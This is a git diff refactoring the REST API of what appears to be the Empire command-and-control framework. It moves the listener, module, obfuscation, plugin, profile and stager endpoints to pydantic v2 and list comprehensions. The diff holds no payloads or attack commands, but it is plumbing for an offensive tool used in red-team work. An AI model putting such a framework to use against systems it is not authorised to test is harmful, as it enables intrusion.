+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
+ }
+ for x in listener.options.items()
+ }
- authors = list(
- map(
- lambda x: {
- "name": x["Name"],
- "handle": x["Handle"],
- "link": x["Link"],
- },
- listener.info.get("Authors") or [],
- )
- )
+ authors = [
+ {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ }
+ for x in listener.info.get("Authors") or []
+ ]
return ListenerTemplate(
id=uid,
@@ -51,7 +48,7 @@ def domain_to_dto_template(listener, uid: str):
def domain_to_dto_listener(listener):
- options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items()))
+ options = {x[0]: x[1]["Value"] for x in listener.options.items()}
return Listener(
id=listener.id,
@@ -60,24 +57,23 @@ def domain_to_dto_listener(listener):
enabled=listener.enabled,
options=options,
created_at=listener.created_at,
- tags=list(map(lambda x: domain_to_dto_tag(x), listener.tags)),
+ tags=[domain_to_dto_tag(x) for x in listener.tags],
)
class ListenerTemplate(BaseModel):
id: str
name: str
- authors: List[Author]
+ authors: list[Author]
description: str
category: str
- comments: List[str]
- tactics: List[str]
- techniques: List[str]
- software: Optional[str]
- options: Dict[str, CustomOptionSchema]
-
- class Config:
- schema_extra = {
+ comments: list[str]
+ tactics: list[str]
+ techniques: list[str]
+ software: str | None = None
+ options: dict[str, CustomOptionSchema]
+ model_config = ConfigDict(
+ json_schema_extra={
"example": {
"id": "http",
"name": "HTTP[S]",
@@ -238,10 +234,11 @@ class Config:
},
}
}
+ )
class ListenerTemplates(BaseModel):
- records: List[ListenerTemplate]
+ records: list[ListenerTemplate]
class Listener(BaseModel):
@@ -249,22 +246,21 @@ class Listener(BaseModel):
name: str
enabled: bool
template: str
- options: Dict[str, str]
+ options: coerced_dict
created_at: datetime
- tags: List[Tag]
+ tags: list[Tag]
class Listeners(BaseModel):
- records: List[Listener]
+ records: list[Listener]
class ListenerPostRequest(BaseModel):
name: str
template: str
- options: Dict[str, str]
-
- class Config:
- schema_extra = {
+ options: coerced_dict
+ model_config = ConfigDict(
+ json_schema_extra={
"example": {
"name": "MyListener",
"template": "http",
@@ -295,12 +291,13 @@ class Config:
},
}
}
+ )
class ListenerUpdateRequest(BaseModel):
name: str
enabled: bool
- options: Dict[str, str]
+ options: coerced_dict
def __iter__(self):
return iter(self.__root__)
diff --git a/empire/server/api/v2/listener/listener_template_api.py b/empire/server/api/v2/listener/listener_template_api.py
index 92ec0b8b6..6f151df28 100644
--- a/empire/server/api/v2/listener/listener_template_api.py
+++ b/empire/server/api/v2/listener/listener_template_api.py
@@ -28,12 +28,10 @@
response_model=ListenerTemplates,
)
async def get_listener_templates():
- templates = list(
- map(
- lambda x: domain_to_dto_template(x[1], x[0]),
- listener_template_service.get_listener_templates().items(),
- )
- )
+ templates = [
+ domain_to_dto_template(x[1], x[0])
+ for x in listener_template_service.get_listener_templates().items()
+ ]
return {"records": templates}
diff --git a/empire/server/api/v2/module/module_api.py b/empire/server/api/v2/module/module_api.py
index 256f0bbc0..08bc83a2a 100644
--- a/empire/server/api/v2/module/module_api.py
+++ b/empire/server/api/v2/module/module_api.py
@@ -1,7 +1,6 @@
import logging
from fastapi import Depends, HTTPException, Response
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
@@ -12,7 +11,7 @@
ModuleUpdateRequest,
domain_to_dto_module,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.module_models import EmpireModule
from empire.server.server import main
@@ -48,11 +47,9 @@ async def get_module(uid: str):
# response_model=Modules,
)
async def read_modules():
- modules = list(
- map(
- lambda x: domain_to_dto_module(x[1], x[0]), module_service.get_all().items()
- )
- )
+ modules = [
+ domain_to_dto_module(x[1], x[0]) for x in module_service.get_all().items()
+ ]
return {"records": modules}
@@ -76,8 +73,8 @@ async def read_module_script(uid: str, module: EmpireModule = Depends(get_module
async def update_module(
uid: str,
module_req: ModuleUpdateRequest,
+ db: CurrentSession,
module: EmpireModule = Depends(get_module),
- db: Session = Depends(get_db),
):
module_service.update_module(db, module, module_req)
@@ -85,22 +82,20 @@ async def update_module(
@router.put("/bulk/enable", status_code=204, response_class=Response)
-async def update_bulk_enable(
- module_req: ModuleBulkUpdateRequest, db: Session = Depends(get_db)
-):
+async def update_bulk_enable(module_req: ModuleBulkUpdateRequest, db: CurrentSession):
module_service.update_modules(db, module_req)
@router.post("/reload", status_code=204, response_class=Response)
async def reload_modules(
- db: Session = Depends(get_db),
+ db: CurrentSession,
):
module_service.load_modules(db)
@router.post("/reset", status_code=204, response_class=Response)
async def reset_modules(
- db: Session = Depends(get_db),
+ db: CurrentSession,
):
module_service.delete_all_modules(db)
module_service.load_modules(db)
diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py
index 50126f95b..d5f4df84e 100644
--- a/empire/server/api/v2/module/module_dto.py
+++ b/empire/server/api/v2/module/module_dto.py
@@ -1,5 +1,3 @@
-from typing import Dict, List, Optional
-
from pydantic import BaseModel
from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
@@ -8,29 +6,24 @@
def domain_to_dto_module(module: EmpireModule, uid: str):
options = {x.name: x for x in module.options}
- options = dict(
- map(
- lambda x: (
- x[0],
- {
- "description": x[1].description,
- "required": x[1].required,
- "value": x[1].value,
- "strict": x[1].strict,
- "suggested_values": x[1].suggested_values,
- # todo expand to listener, stager, etc
- "value_type": to_value_type(x[1].value, x[1].type),
- },
- ),
- options.items(),
- )
- )
+ options = {
+ x[0]: {
+ "description": x[1].description,
+ "required": x[1].required,
+ "value": x[1].value,
+ "strict": x[1].strict,
+ "suggested_values": x[1].suggested_values,
+ # todo expand to listener, stager, etc
+ "value_type": to_value_type(x[1].value, x[1].type),
+ }
+ for x in options.items()
+ }
return Module(
id=uid,
name=module.name,
enabled=module.enabled,
- authors=module.authors,
+ authors=[a.model_dump() for a in module.authors],
description=module.description,
background=module.background,
language=module.language,
@@ -49,22 +42,22 @@ class Module(BaseModel):
id: str
name: str
enabled: bool
- authors: List[Author]
+ authors: list[Author]
description: str
background: bool
language: LanguageEnum
- min_language_version: Optional[str]
+ min_language_version: str | None = None
needs_admin: bool
opsec_safe: bool
- techniques: List[str]
- tactics: List[str]
- software: Optional[str]
- comments: List[str]
- options: Dict[str, CustomOptionSchema]
+ techniques: list[str]
+ tactics: list[str]
+ software: str | None = None
+ comments: list[str]
+ options: dict[str, CustomOptionSchema]
class Modules(BaseModel):
- records: List[Module]
+ records: list[Module]
class ModuleScript(BaseModel):
@@ -77,5 +70,5 @@ class ModuleUpdateRequest(BaseModel):
class ModuleBulkUpdateRequest(BaseModel):
- modules: List[str]
+ modules: list[str]
enabled: bool
diff --git a/empire/server/api/v2/obfuscation/obfuscation_api.py b/empire/server/api/v2/obfuscation/obfuscation_api.py
index 8ed40e6b5..122a6f5fb 100644
--- a/empire/server/api/v2/obfuscation/obfuscation_api.py
+++ b/empire/server/api/v2/obfuscation/obfuscation_api.py
@@ -1,5 +1,4 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.background import BackgroundTasks
from starlette.responses import Response
from starlette.status import HTTP_202_ACCEPTED, HTTP_204_NO_CONTENT
@@ -16,7 +15,7 @@
ObfuscationConfigUpdateRequest,
domain_to_dto_obfuscation_config,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.db import models
from empire.server.server import main
@@ -34,7 +33,7 @@
)
-async def get_keyword(uid: int, db: Session = Depends(get_db)):
+async def get_keyword(uid: int, db: CurrentSession):
keyword = obfuscation_service.get_keyword_by_id(db, uid)
if keyword:
@@ -49,16 +48,14 @@ async def read_keyword(uid: int, db_keyword: models.Keyword = Depends(get_keywor
@router.get("/keywords", response_model=Keywords)
-async def read_keywords(db: Session = Depends(get_db)):
+async def read_keywords(db: CurrentSession):
keywords = obfuscation_service.get_all_keywords(db)
return {"records": keywords}
@router.post("/keywords", status_code=201, response_model=Keyword)
-async def create_keyword(
- keyword_req: KeywordPostRequest, db: Session = Depends(get_db)
-):
+async def create_keyword(keyword_req: KeywordPostRequest, db: CurrentSession):
resp, err = obfuscation_service.create_keyword(db, keyword_req)
if err:
@@ -71,7 +68,7 @@ async def create_keyword(
async def update_keyword(
uid: int,
keyword_req: KeywordUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_keyword: models.Keyword = Depends(get_keyword),
):
resp, err = obfuscation_service.update_keyword(db, db_keyword, keyword_req)
@@ -87,13 +84,13 @@ async def update_keyword(
)
async def delete_keyword(
uid: str,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_keyword: models.Keyword = Depends(get_keyword),
):
obfuscation_service.delete_keyword(db, db_keyword)
-async def get_obfuscation_config(language: str, db: Session = Depends(get_db)):
+async def get_obfuscation_config(language: str, db: CurrentSession):
obf_config = obfuscation_service.get_obfuscation_config(db, language)
if obf_config:
@@ -106,7 +103,7 @@ async def get_obfuscation_config(language: str, db: Session = Depends(get_db)):
@router.get("/global", response_model=ObfuscationConfigs)
-async def read_obfuscation_configs(db: Session = Depends(get_db)):
+async def read_obfuscation_configs(db: CurrentSession):
obf_configs = obfuscation_service.get_all_obfuscation_configs(db)
return {"records": obf_configs}
@@ -124,7 +121,7 @@ async def read_obfuscation_config(
async def update_obfuscation_config(
language: str,
obf_req: ObfuscationConfigUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_obf_config: models.Bypass = Depends(get_obfuscation_config),
):
resp, err = obfuscation_service.update_obfuscation_config(
@@ -145,9 +142,9 @@ async def update_obfuscation_config(
async def preobfuscate_modules(
language: str,
background_tasks: BackgroundTasks,
+ db: CurrentSession,
reobfuscate: bool = False,
db_obf_config: models.ObfuscationConfig = Depends(get_obfuscation_config),
- db: Session = Depends(get_db),
):
if not db_obf_config.preobfuscatable:
raise HTTPException(
diff --git a/empire/server/api/v2/obfuscation/obfuscation_dto.py b/empire/server/api/v2/obfuscation/obfuscation_dto.py
index 78549cc51..23ddadafa 100644
--- a/empire/server/api/v2/obfuscation/obfuscation_dto.py
+++ b/empire/server/api/v2/obfuscation/obfuscation_dto.py
@@ -1,7 +1,6 @@
from datetime import datetime
-from typing import List
-from pydantic import BaseModel, Field
+from pydantic import BaseModel, ConfigDict, Field
from empire.server.core.db import models
@@ -12,13 +11,11 @@ class Keyword(BaseModel):
replacement: str
created_at: datetime
updated_at: datetime
-
- class Config:
- orm_mode = True
+ model_config = ConfigDict(from_attributes=True)
class Keywords(BaseModel):
- records: List[Keyword]
+ records: list[Keyword]
class KeywordUpdateRequest(BaseModel):
@@ -47,13 +44,11 @@ class ObfuscationConfig(BaseModel):
command: str
module: str
preobfuscatable: bool
-
- class Config:
- orm_mode = True
+ model_config = ConfigDict(from_attributes=True)
class ObfuscationConfigs(BaseModel):
- records: List[ObfuscationConfig]
+ records: list[ObfuscationConfig]
class ObfuscationConfigUpdateRequest(BaseModel):
diff --git a/empire/server/api/v2/plugin/plugin_api.py b/empire/server/api/v2/plugin/plugin_api.py
index d6cf78438..739857c65 100644
--- a/empire/server/api/v2/plugin/plugin_api.py
+++ b/empire/server/api/v2/plugin/plugin_api.py
@@ -1,18 +1,19 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.responses import Response
from empire.server.api.api_router import APIRouter
-from empire.server.api.jwt_auth import get_current_active_user, get_current_user
+from empire.server.api.jwt_auth import (
+ CurrentUser,
+ get_current_active_user,
+)
from empire.server.api.v2.plugin.plugin_dto import (
PluginExecutePostRequest,
PluginExecuteResponse,
Plugins,
domain_to_dto_plugin,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
-from empire.server.core.db import models
from empire.server.core.exceptions import PluginValidationException
from empire.server.server import main
@@ -40,11 +41,9 @@ async def get_plugin(uid: str):
@router.get("/", response_model=Plugins)
async def read_plugins():
- plugins = list(
- map(
- lambda x: domain_to_dto_plugin(x[1], x[0]), plugin_service.get_all().items()
- )
- )
+ plugins = [
+ domain_to_dto_plugin(x[1], x[0]) for x in plugin_service.get_all().items()
+ ]
return {"records": plugins}
@@ -58,9 +57,9 @@ async def read_plugin(uid: str, plugin=Depends(get_plugin)):
async def execute_plugin(
uid: str,
plugin_req: PluginExecutePostRequest,
+ db: CurrentSession,
+ current_user: CurrentUser,
plugin=Depends(get_plugin),
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_user),
):
try:
results, err = plugin_service.execute_plugin(
@@ -79,6 +78,6 @@ async def execute_plugin(
@router.post("/reload", status_code=204, response_class=Response)
-async def reload_plugins(db: Session = Depends(get_db)):
+async def reload_plugins(db: CurrentSession):
plugin_service.shutdown()
plugin_service.startup_plugins(db)
diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py
index 8f468db8b..2ff84f493 100644
--- a/empire/server/api/v2/plugin/plugin_dto.py
+++ b/empire/server/api/v2/plugin/plugin_dto.py
@@ -1,39 +1,35 @@
-from typing import Dict, List, Optional
-
from pydantic import BaseModel
-from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type
+from empire.server.api.v2.shared_dto import (
+ Author,
+ CustomOptionSchema,
+ coerced_dict,
+ to_value_type,
+)
from empire.server.common.plugins import Plugin
def domain_to_dto_plugin(plugin: Plugin, uid: str):
- options = dict(
- map(
- lambda x: (
- x[0],
- {
- "description": x[1]["Description"],
- "required": x[1]["Required"],
- "value": x[1]["Value"],
- "strict": x[1]["Strict"],
- "suggested_values": x[1]["SuggestedValues"],
- "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
- },
- ),
- plugin.options.items(),
- )
- )
+ options = {
+ x[0]: {
+ "description": x[1]["Description"],
+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
+ }
+ for x in plugin.options.items()
+ }
- authors = list(
- map(
- lambda x: {
- "name": x["Name"],
- "handle": x["Handle"],
- "link": x["Link"],
- },
- plugin.info.get("Authors") or [],
- )
- )
+ authors = [
+ {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ }
+ for x in plugin.info.get("Authors") or []
+ ]
return Plugin(
id=uid,
@@ -51,20 +47,20 @@ def domain_to_dto_plugin(plugin: Plugin, uid: str):
class Plugin(BaseModel):
id: str
name: str
- authors: List[Author]
+ authors: list[Author]
description: str
- techniques: List[str] = []
- software: Optional[str]
- comments: List[str]
- options: Dict[str, CustomOptionSchema]
+ techniques: list[str] = []
+ software: str | None = None
+ comments: list[str]
+ options: dict[str, CustomOptionSchema]
class Plugins(BaseModel):
- records: List[Plugin]
+ records: list[Plugin]
class PluginExecutePostRequest(BaseModel):
- options: Dict[str, str]
+ options: coerced_dict
class PluginExecuteResponse(BaseModel):
diff --git a/empire/server/api/v2/plugin/plugin_task_api.py b/empire/server/api/v2/plugin/plugin_task_api.py
index f01924ac2..5a4a16923 100644
--- a/empire/server/api/v2/plugin/plugin_task_api.py
+++ b/empire/server/api/v2/plugin/plugin_task_api.py
@@ -1,9 +1,7 @@
import math
from datetime import datetime
-from typing import List, Optional
from fastapi import Depends, HTTPException, Query
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
@@ -13,7 +11,7 @@
PluginTasks,
domain_to_dto_plugin_task,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import (
BadRequestResponse,
NotFoundResponse,
@@ -50,7 +48,7 @@ async def get_plugin(plugin_id: str):
raise HTTPException(404, f"Plugin not found for id {plugin_id}")
-async def get_task(uid: int, db: Session = Depends(get_db), plugin=Depends(get_plugin)):
+async def get_task(uid: int, db: CurrentSession, plugin=Depends(get_plugin)):
task = plugin_service.get_task(db, plugin.info["Name"], uid)
if task:
@@ -66,19 +64,19 @@ async def get_task(uid: int, db: Session = Depends(get_db), plugin=Depends(get_p
@router.get("/tasks", response_model=PluginTasks)
async def read_tasks_all_plugins(
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
include_full_input: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[PluginTaskStatus] = None,
- plugins: Optional[List[str]] = Query(None),
- users: Optional[List[int]] = Query(None),
- tags: Optional[List[TagStr]] = Query(None),
- query: Optional[str] = None,
- db: Session = Depends(get_db),
+ status: PluginTaskStatus | None = None,
+ plugins: list[str] | None = Query(None),
+ users: list[int] | None = Query(None),
+ tags: list[TagStr] | None = Query(None),
+ query: str | None = None,
):
tasks, total = plugin_service.get_tasks(
db,
@@ -96,12 +94,9 @@ async def read_tasks_all_plugins(
q=query,
)
- tasks_converted = list(
- map(
- lambda x: domain_to_dto_plugin_task(x, include_full_input, include_output),
- tasks,
- )
- )
+ tasks_converted = [
+ domain_to_dto_plugin_task(x, include_full_input, include_output) for x in tasks
+ ]
return PluginTasks(
records=tasks_converted,
@@ -114,19 +109,19 @@ async def read_tasks_all_plugins(
@router.get("/{plugin_id}/tasks", response_model=PluginTasks)
async def read_tasks(
+ db: CurrentSession,
limit: int = -1,
page: int = 1,
include_full_input: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[PluginTaskStatus] = None,
- users: Optional[List[int]] = Query(None),
- tags: Optional[List[TagStr]] = Query(None),
- db: Session = Depends(get_db),
+ status: PluginTaskStatus | None = None,
+ users: list[int] | None = Query(None),
+ tags: list[TagStr] | None = Query(None),
plugin=Depends(get_plugin),
- query: Optional[str] = None,
+ query: str | None = None,
):
tasks, total = plugin_service.get_tasks(
db,
@@ -144,12 +139,9 @@ async def read_tasks(
q=query,
)
- tasks_converted = list(
- map(
- lambda x: domain_to_dto_plugin_task(x, include_full_input, include_output),
- tasks,
- )
- )
+ tasks_converted = [
+ domain_to_dto_plugin_task(x, include_full_input, include_output) for x in tasks
+ ]
return PluginTasks(
records=tasks_converted,
@@ -163,7 +155,7 @@ async def read_tasks(
@router.get("/{plugin_id}/tasks/{uid}", response_model=PluginTask)
async def read_task(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
plugin=Depends(get_plugin),
db_task: models.PluginTask = Depends(get_task),
):
diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py
index 16b9941dc..b2efb5d28 100644
--- a/empire/server/api/v2/plugin/plugin_task_dto.py
+++ b/empire/server/api/v2/plugin/plugin_task_dto.py
@@ -1,6 +1,5 @@
from datetime import datetime
from enum import Enum
-from typing import List, Optional
from pydantic import BaseModel
@@ -32,33 +31,31 @@ def domain_to_dto_plugin_task(
user_id=task.user_id,
username=None if not task.user else task.user.username,
plugin_id=task.plugin_id,
- downloads=list(
- map(lambda x: domain_to_dto_download_description(x), task.downloads)
- ),
+ downloads=[domain_to_dto_download_description(x) for x in task.downloads],
status=task.status,
created_at=task.created_at,
updated_at=task.updated_at,
- tags=list(map(lambda x: domain_to_dto_tag(x), task.tags)),
+ tags=[domain_to_dto_tag(x) for x in task.tags],
)
class PluginTask(BaseModel):
id: int
input: str
- full_input: Optional[str]
- output: Optional[str]
- user_id: Optional[int]
- username: Optional[str]
+ full_input: str | None = None
+ output: str | None = None
+ user_id: int | None = None
+ username: str | None = None
plugin_id: str
- downloads: List[DownloadDescription]
- status: Optional[models.PluginTaskStatus]
+ downloads: list[DownloadDescription]
+ status: models.PluginTaskStatus | None = None
created_at: datetime
updated_at: datetime
- tags: List[Tag]
+ tags: list[Tag]
class PluginTasks(BaseModel):
- records: List[PluginTask]
+ records: list[PluginTask]
limit: int
page: int
total_pages: int
diff --git a/empire/server/api/v2/profile/profile_api.py b/empire/server/api/v2/profile/profile_api.py
index 8987af879..410855e43 100644
--- a/empire/server/api/v2/profile/profile_api.py
+++ b/empire/server/api/v2/profile/profile_api.py
@@ -1,5 +1,4 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
@@ -11,7 +10,7 @@
Profiles,
ProfileUpdateRequest,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.db import models
from empire.server.server import main
@@ -29,7 +28,7 @@
)
-async def get_profile(uid: int, db: Session = Depends(get_db)):
+async def get_profile(uid: int, db: CurrentSession):
profile = profile_service.get_by_id(db, uid)
if profile:
@@ -44,7 +43,7 @@ async def read_profile(uid: int, db_profile: models.Profile = Depends(get_profil
@router.get("/", response_model=Profiles)
-async def read_profiles(db: Session = Depends(get_db)):
+async def read_profiles(db: CurrentSession):
profiles = profile_service.get_all(db)
return {"records": profiles}
@@ -55,9 +54,7 @@ async def read_profiles(db: Session = Depends(get_db)):
status_code=201,
response_model=Profile,
)
-async def create_profile(
- profile_req: ProfilePostRequest, db: Session = Depends(get_db)
-):
+async def create_profile(profile_req: ProfilePostRequest, db: CurrentSession):
resp, err = profile_service.create_profile(db, profile_req)
if err:
@@ -70,7 +67,7 @@ async def create_profile(
async def update_profile(
uid: int,
profile_req: ProfileUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_profile: models.Profile = Depends(get_profile),
):
resp, err = profile_service.update_profile(db, db_profile, profile_req)
@@ -88,7 +85,7 @@ async def update_profile(
)
async def delete_profile(
uid: str,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_profile: models.Profile = Depends(get_profile),
):
profile_service.delete_profile(db, db_profile)
@@ -100,7 +97,7 @@ async def delete_profile(
response_class=Response,
)
async def reload_profiles(
- db: Session = Depends(get_db),
+ db: CurrentSession,
):
profile_service.load_malleable_profiles(db)
@@ -111,7 +108,7 @@ async def reload_profiles(
response_class=Response,
)
async def reset_profiles(
- db: Session = Depends(get_db),
+ db: CurrentSession,
):
profile_service.delete_all_profiles(db)
profile_service.load_malleable_profiles(db)
diff --git a/empire/server/api/v2/profile/profile_dto.py b/empire/server/api/v2/profile/profile_dto.py
index 359a9f52f..485f5bcb9 100644
--- a/empire/server/api/v2/profile/profile_dto.py
+++ b/empire/server/api/v2/profile/profile_dto.py
@@ -1,24 +1,21 @@
from datetime import datetime
-from typing import List, Optional
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
class Profile(BaseModel):
id: int
name: str
- file_path: Optional[str] # todo vr needed?
+ file_path: str | None = None # todo vr needed?
category: str
data: str
created_at: datetime
updated_at: datetime
-
- class Config:
- orm_mode = True
+ model_config = ConfigDict(from_attributes=True)
class Profiles(BaseModel):
- records: List[Profile]
+ records: list[Profile]
# name can't be modified atm because of the way name is inferred from the file name.
diff --git a/empire/server/api/v2/shared_dependencies.py b/empire/server/api/v2/shared_dependencies.py
index 8dcb4d3c4..85c87f678 100644
--- a/empire/server/api/v2/shared_dependencies.py
+++ b/empire/server/api/v2/shared_dependencies.py
@@ -1,6 +1,14 @@
+from typing import Annotated
+
+from fastapi import Depends
+from sqlalchemy.orm import Session
+
from empire.server.core.db.base import SessionLocal
def get_db():
with SessionLocal.begin() as db:
yield db
+
+
+CurrentSession = Annotated[Session, Depends(get_db)]
diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py
index 9d527f508..353ad15f4 100644
--- a/empire/server/api/v2/shared_dto.py
+++ b/empire/server/api/v2/shared_dto.py
@@ -1,7 +1,7 @@
from enum import Enum
-from typing import Any, List, Optional
+from typing import Annotated, Any
-from pydantic import BaseModel
+from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator
from empire.server.core.db import models
@@ -26,10 +26,22 @@ class CustomOptionSchema(BaseModel):
description: str
required: bool
value: str
- suggested_values: List[str]
+ suggested_values: list[str]
strict: bool
value_type: ValueType
+ # Ensure the functionality of pydantic v1 coercing values to strings
+ # https://github.com/pydantic/pydantic/issues/5606
+ @field_validator("value", mode="plain")
+ @classmethod
+ def check_value(cls, v):
+ return str(v)
+
+ @field_validator("suggested_values", mode="plain")
+ @classmethod
+ def check_suggested_values(cls, v):
+ return [str(value) for value in v]
+
class OrderDirection(str, Enum):
asc = "asc"
@@ -40,15 +52,13 @@ class DownloadDescription(BaseModel):
id: int
filename: str
link: str
-
- class Config:
- orm_mode = True
+ model_config = ConfigDict(from_attributes=True)
class Author(BaseModel):
- name: Optional[str]
- handle: Optional[str]
- link: Optional[str]
+ name: str | None = None
+ handle: str | None = None
+ link: str | None = None
def domain_to_dto_download_description(download: models.Download):
@@ -80,6 +90,20 @@ def to_value_type(value: Any, type: str = "") -> ValueType:
return ValueType.string
+def to_string(value):
+ return str(value)
+
+
+# This is sort of an undocumented behavior for the Empire API. The openapi spec says
+# the values should be strings, but it has allowed other types.
+# The behavior in pydantic v1 was to just coerce values to strings, but in v2
+# this behavior was changed to raise a validation error. Using this custom
+# type with a BeforeValidator allows us to coerce the value to a string before
+# validation.
+# This could be removed in Empire 6 as a breaking change.
+coerced_dict = dict[str, Annotated[str, BeforeValidator(to_string)]]
+
+
# Set proxy IDs
PROXY_NAME = {
"SOCKS4": 1,
diff --git a/empire/server/api/v2/stager/stager_api.py b/empire/server/api/v2/stager/stager_api.py
index 948f8ffa1..a84aa38f7 100644
--- a/empire/server/api/v2/stager/stager_api.py
+++ b/empire/server/api/v2/stager/stager_api.py
@@ -1,11 +1,10 @@
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
from empire.server.api.api_router import APIRouter
-from empire.server.api.jwt_auth import get_current_active_user
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.jwt_auth import CurrentActiveUser, get_current_active_user
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.api.v2.stager.stager_dto import (
Stager,
@@ -30,7 +29,7 @@
)
-async def get_stager(uid: int, db: Session = Depends(get_db)):
+async def get_stager(uid: int, db: CurrentSession):
stager = stager_service.get_by_id(db, uid)
if stager:
@@ -40,8 +39,8 @@ async def get_stager(uid: int, db: Session = Depends(get_db)):
@router.get("/", response_model=Stagers)
-async def read_stagers(db: Session = Depends(get_db)):
- stagers = list(map(lambda x: domain_to_dto_stager(x), stager_service.get_all(db)))
+async def read_stagers(db: CurrentSession):
+ stagers = [domain_to_dto_stager(x) for x in stager_service.get_all(db)]
return {"records": stagers}
@@ -54,8 +53,8 @@ async def read_stager(uid: int, db_stager: models.Stager = Depends(get_stager)):
@router.post("/", status_code=201, response_model=Stager)
async def create_stager(
stager_req: StagerPostRequest,
- db: Session = Depends(get_db),
- current_user: models.User = Depends(get_current_active_user),
+ current_user: CurrentActiveUser,
+ db: CurrentSession,
save: bool = True,
):
resp, err = stager_service.create_stager(
@@ -72,7 +71,7 @@ async def create_stager(
async def update_stager(
uid: int,
stager_req: StagerUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_stager: models.Stager = Depends(get_stager),
):
resp, err = stager_service.update_stager(db, db_stager, stager_req)
@@ -90,7 +89,7 @@ async def update_stager(
)
async def delete_stager(
uid: int,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_stager: models.Stager = Depends(get_stager),
):
stager_service.delete_stager(db, db_stager)
diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py
index 6053fc703..e8e5fdcf6 100644
--- a/empire/server/api/v2/stager/stager_dto.py
+++ b/empire/server/api/v2/stager/stager_dto.py
@@ -1,12 +1,12 @@
from datetime import datetime
-from typing import Dict, List, Optional
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
from empire.server.api.v2.shared_dto import (
Author,
CustomOptionSchema,
DownloadDescription,
+ coerced_dict,
domain_to_dto_download_description,
to_value_type,
)
@@ -14,33 +14,26 @@
def domain_to_dto_template(stager, uid: str):
- options = dict(
- map(
- lambda x: (
- x[0],
- {
- "description": x[1]["Description"],
- "required": x[1]["Required"],
- "value": x[1]["Value"],
- "strict": x[1]["Strict"],
- "suggested_values": x[1]["SuggestedValues"],
- "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
- },
- ),
- stager.options.items(),
- )
- )
-
- authors = list(
- map(
- lambda x: {
- "name": x["Name"],
- "handle": x["Handle"],
- "link": x["Link"],
- },
- stager.info.get("Authors") or [],
- )
- )
+ options = {
+ x[0]: {
+ "description": x[1]["Description"],
+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"], x[1].get("Type")),
+ }
+ for x in stager.options.items()
+ }
+
+ authors = [
+ {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ }
+ for x in stager.info.get("Authors") or []
+ ]
return StagerTemplate(
id=uid,
